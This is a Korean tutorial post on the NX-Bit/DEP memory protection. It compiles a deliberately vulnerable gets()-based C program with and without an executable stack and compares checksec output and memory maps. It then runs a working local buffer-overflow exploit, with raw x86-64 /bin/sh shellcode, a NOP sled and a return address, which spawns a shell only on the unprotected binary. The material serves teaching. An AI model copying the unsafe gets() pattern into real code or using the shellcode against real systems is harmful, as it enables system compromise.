메모리 보호 기법 ( NX-Bit )

메모리 보호 기법 종류

  1. NX Bit ( MS : DEP )
  2. ASLR
  3. Canaries
  4. RELRO
  5. PIE

NX-Bit ( MS : DEP )?

  • NX-Bit ( Never eXecute Bit , 실행 방지 비트 )란?
    • 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술
    • NX특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세스 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다.
  • DEP ( Data Execution Prevention )이란?
    • 마이크로소프트 윈도우 운영 체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술
    • DEP는 두 가지 모드로 실행된다.
      • 하드웨어 DEP : 메모리에 명시적으로 실행 코드가 ㅍ포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시한다.
        • 대부분의 최신 프로세스는 하드웨어 적용 DEP를 지원한다.
      • 소프트웨어 DEP : CPU가 하드웨어 DEP를 지원하지 않을 경우 사용한다.
  • 예를 들어 공격자가 Heap, Stack 영역에 Shellcode를 저장해서 실행하기 위해서는 해당 영역에 실행권한이 있어야 한다.
    • DEP가 적용되지 않았을 경우에는 쉘코드가 실행이 됩니다.
    • DEP가 적용된 경우에는 실행권한이 없으므로 쉘코드가 실행되지 않습니다.
      • 프로그램에서 해당 동작에 대한 예외처리 후 프로세스가 종료 됩니다.

예제

//DEP.c

#include <stdio.h>
#include <stdlib.h>

int main(){
    char str[256];
    char *chare = (char*)malloc(100);

    printf("Input: ");
    gets(str);
    printf("%p\n", str);
}

기본적인 BOF가 있는 소스를 하나는 NX-Bit를 켜고 다른 하나는 끄고 컴파일을 해서 차이점을 알아보자.

DEP-disabled : gcc -z execstack -o DEP-disabled DEP.c
DEP-enabled : gcc -o DEP-enabled DEP.c
c0wb3ll@kali:~/Desktop/laz/NX$ checksec --file DEP-*
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-disabled'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-enabled'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
c0wb3ll@kali:~/Desktop/laz/NX$ 

실행권한 유/무 차이

Start              End                Perm    Name
0x0000555555554000 0x0000555555557000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555557000 0x0000555555558000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555558000 0x0000555555559000 rwxp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x00007ffff7df5000 0x00007ffff7fae000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rwxp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rwxp    mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p    [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp    [vdso]
0x00007ffff7fd4000 0x00007ffff7ffb000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp    mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp    [stack]

DEP-diabled의 실행 권한이 있는 메모리 영역은 13곳이다.

Start              End                Perm    Name
0x0000555555554000 0x0000555555555000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555555000 0x0000555555556000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555556000 0x0000555555557000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555557000 0x0000555555558000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555558000 0x0000555555559000 rw-p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x00007ffff7df5000 0x00007ffff7e1a000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7e1a000 0x00007ffff7f64000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7f64000 0x00007ffff7fae000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rw-p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rw-p    mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p    [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp    [vdso]
0x00007ffff7fd4000 0x00007ffff7fd5000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7fd5000 0x00007ffff7ff3000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]

하지만 DEP-enabled의 실행 권한이 있는 메모리 영역은 단 3곳밖에 존재하지 않는다.


실험

우선 실험에 앞서 다른 모든 보호 기법을 끄고 오로지 NX-Bit만 보기로 하자.

drwxr-xr-x 2 c0wb3ll c0wb3ll  4096 Apr 22 19:39 .
drwxr-xr-x 3 c0wb3ll c0wb3ll  4096 Apr 22 17:22 ..
-rw-r--r-- 1 c0wb3ll c0wb3ll   161 Apr 22 17:25 DEP.c
-rwxrwxrwx 1 root    root    16704 Apr 22 19:39 DEP-disabled
-rwxrwxrwx 1 root    root    16704 Apr 22 19:39 DEP-enabled

다음과 같이 disabled 와 enabled 파일이 있다.

c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-disabled 
Input : 0x7fffffffdfa0
ls
DEP-disabled  DEP.c  payload.py
DEP-enabled   core   peda-session-DEP-disabled.txt

다음과 같이 페이로드를 때렸을 때 NX-Bit가 꺼져있는 disabled 파일은 제대로 쉘이 따진 반면

c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-enabled
Input : 0x7fffffffdfa0
ls
Segmentation fault (core dumped)

NX-Bit가 켜진 enabled 파일은 세그폴트오류가 나는것을 확인하였다.


reference

http://lazenca.net/pages/viewpage.action?pageId=1147904